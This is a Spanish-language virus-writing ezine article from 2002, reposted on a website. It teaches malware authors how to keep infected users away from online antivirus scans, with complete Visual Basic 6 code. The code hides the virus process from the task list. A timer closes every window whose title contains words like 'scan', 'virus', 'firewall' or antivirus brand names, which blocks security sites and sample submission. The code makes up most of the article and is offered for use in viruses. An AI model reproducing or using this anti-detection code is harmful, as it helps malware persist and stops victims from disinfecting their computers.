Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 01 001

eZine's profile picture
Published in 
Mitosis
 · 4 years ago

  

(C) MITOSIS #1 E-Zine/GEDZAC 2002


Tema : Como tratar de evitar los Scan de antivirus OnLine
Autor : MachineDramon
Válido para : Windows

--------------------------------------------------------------------------------------------

Algunos usuarios que tienen internet, al sospechar de la infeccion de su pc
utilizan algun scan antivirus online, como el "Panda Active Scan" o el Scan
de TrendMicro.

Ahora veremos unos procedimientos para, tratar de evitar que se pueda acceder
a estos scan usando VB 6.0 y Funciones Apis.

1)Primero vamos a esconder nuestro proceso de los que aparecen al presionar
Control+Alt+Supr, registrandolo como un servicio, para que al usuario no le
sea tan facil terminar el proceso del virus.

'En la Seccion de Declaraciones generales del formulario declaramos estas apis
'y las constantes, Const RSP_UNREGISTER_SERVICE no se usara en este caso.

Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0

'La funcion GetCurrentProcessId, nos da nuestro "identificador" de proceso
'y con RegisterServiceProcess, pasandole nuestro "identificador",
'registraremos el servicio.

'En el formulario ponemos este procedimiento:

Sub HideProcess()

'Si error pasa a la siguiente instruccion
On Error Resume Next

'Declaramos H como numero entero largo
Dim H As Long

'Llamamos a la funcion RegisterServiceProcess, a la que le pasamos como
'argumentos el valor de GetCurrentProcessId() y la
'constante RSP_SIMPLE_SERVICE
H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
End Sub

Este procedimiento debera ser llamado al iniciarse el virus(por ejemplo desde
el procedimiento Load del formulario), para ocultar el proceso desde el
principio.

-----------------------------------------------------------------------------

2)Ahora trataremos de evitar de que se pueda acceder al scan online,
para eso dentro del formulario definiremos un control Timer y necesitaremos
tambien un modulo.

La idea sera que el control Timer llame al procedimiento SearchScan cada 10
segundos, luego el procedimiento SearchScan usara la Api EnumWindows, que
enumerara cada ventana abierta visible o no, colocaremos el operador AddressOf
(creo que este operador solo esta en VB 5.0 en adelante),
dentro de la Api(AddressOf FuncSearchScan), de tal forma que por cada ventana
enumerada habra una llamada a la funcion FuncSearchScan que difinimos en el
modulo, a esta funcion se pasara como argumento el numero de ventana.

La funcion FuncSearchScan usara la Api GetWindowText, al cual le pasara
el numero de la ventana para obtener el titulo de esta.

Luego elaboraremos una lista de palabras como Scan, Antivirus, Firewall, etc
de preferencia que la lista no sea muy extensa.

Luego se comparara el titulo de la ventana con cada una de las palabras de
la lista y si el titulo contiene la palabra cerraremos la ventana con la
Api PostMessage.

Ejemp:

La lista de palabras es: Scan, virus, Firewall
Titulo de ventana es: Panda ActiveScan
Entonces Titulo contiene la palabra "Scan" y sera cerrada la ventana

Esto puede servir para que evitar incluso que el usuario ingrese a paginas
de antivirus como Per, AVP, etc, y pueda obtener informacion o enviar muestras
ya que sus titulos de ventana tambien contienen la palabra "Virus" y entonces
sera cerrada. Incluso puede servir para cerrar procesos de vacunas o ventanas
de algunos productos antivirus(probado con PerAntivirus), pero normalmente
no funciona con ellos.(por ejemplo la ventana de AVP es Inmune a esto).
Pero para cerrar las ventanas de los scan online, paginas de antivirus
o dedicadas a combatir estos como VSAntivirus, VirusAttack, etc.
si sirve ya que solo son ventanas del navegador.

Establecemos la propiedad InTerval del control Timer a 10000, el control
Timer generara un suceso cada cierto tiempo(definido en InTerval), medido
en milisegundos: InTerval/1000.
Colocamos 10000 para que se ejecute cada 10 segundos(10000/1000=10)
Dentro del procedimiento timer del Control Timer llamamos al procedimiento
SearchScan, el cual sera llamado cada 10 segundos en este caso.

Private Sub Timer1_Timer()

SearchScan

End Sub

'Ahora escribimos el procedimiento SearchScan:

Sub SearchScan()

'Si error pasa a la siguiente instruccion
On Error Resume Next

'Declaramos Src como valor Boleano(Verdadero o Falso)
Dim Src As Boolean

'Llamamos a la funcion Api EnumWindows, que vamos a declarar en el modulo
'y con el operador AddressOf, le decimos que llame a la funcion FuncSearchScan
'que esta en el modulo y le pase como argumento el nuemro de la ventana.
Src = EnumWindows(AddressOf FuncSearchScan, ByVal 0&)
End Sub

------------------------------------
Este es el codigo que ira en el Modulo

'Declaramos las apis y constantes

Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const WM_CLOSE = &H10
Declare Function EnumWindows Lib "user32" (ByVal lpfn As Long, lParam As Any) As Boolean
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

'Funcion llamada desde el procedimiento SearchScan
Public Function FuncSearchScan(ByVal hWnd As Long, Parametro As Long) As Boolean
On Error Resume Next

'Declaramos VirTitle como valor de cadena con 256 espacios
Dim VirTitle As String * 256

'Declaramos Wt y Wc como enteros largos
Dim Wt, Wc As Long

'Declaramos VirWindow como valor de cadena
Dim VirWindow As String

'Declaramos Vc como una matrix de variables con indices del 1 al 12(pueden
'ser más)
Dim Vc(1 To 12) As String

'Asignamos las palabras buscadas a cada uno de los indices de la matrix
Vc(1) = "scan": Vc(2) = "virus": Vc(3) = "trojan": Vc(4) = "panda"
Vc(5) = "mcafee": Vc(6) = "firewall": Vc(7) = "bitdefender": Vc(8) = "Security"
Vc(9) = "norton": Vc(10) = "norman": Vc(11) = "the hacker": Vc(12) = "thav"

'Ponemos un DoEvents, para darle tiempo a windows de que procese otros sucesos
DoEvents

'Llamamos a la Api GetWindowText, para conocer el titulo de la ventana
'a esta funcion le pasamos el numero de la ventana(hWnd), un valor cadena
'vacio(VirTitle) y la longitud del valor de cadena que obtenemos con Len()
Wt = GetWindowText(ByVal hWnd, ByVal VirTitle, ByVal Len(VirTitle))

'La funcion nos devuelve el titulo de la ventana en Virtitle, al cual le
'recortamos los espacios que sobren de los 256 con la funcion Left y lo
'asignamos a VirWindow
VirWindow = Left(VirTitle, Wt)

'Iniciamos un Contador For para comparar el titulo de la ventana con cada
'una de las palabras definidas en la matrix
For i = 1 To 12

'Si el titulo contiene la palabra buscada
If InStr(LCase(VirWindow), Vc(i)) <> 0 Then

'Cerramos la ventana con la funcion Api PostMessage
Wc = PostMessage(ByVal hWnd, WM_CLOSE, vbNull, vbNull)
End If
Next

'Establecemos FuncSearchScan a True
FuncSearchScan = True
End Function


(C) MITOSIS E-Zine/GEDZAC 2002

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT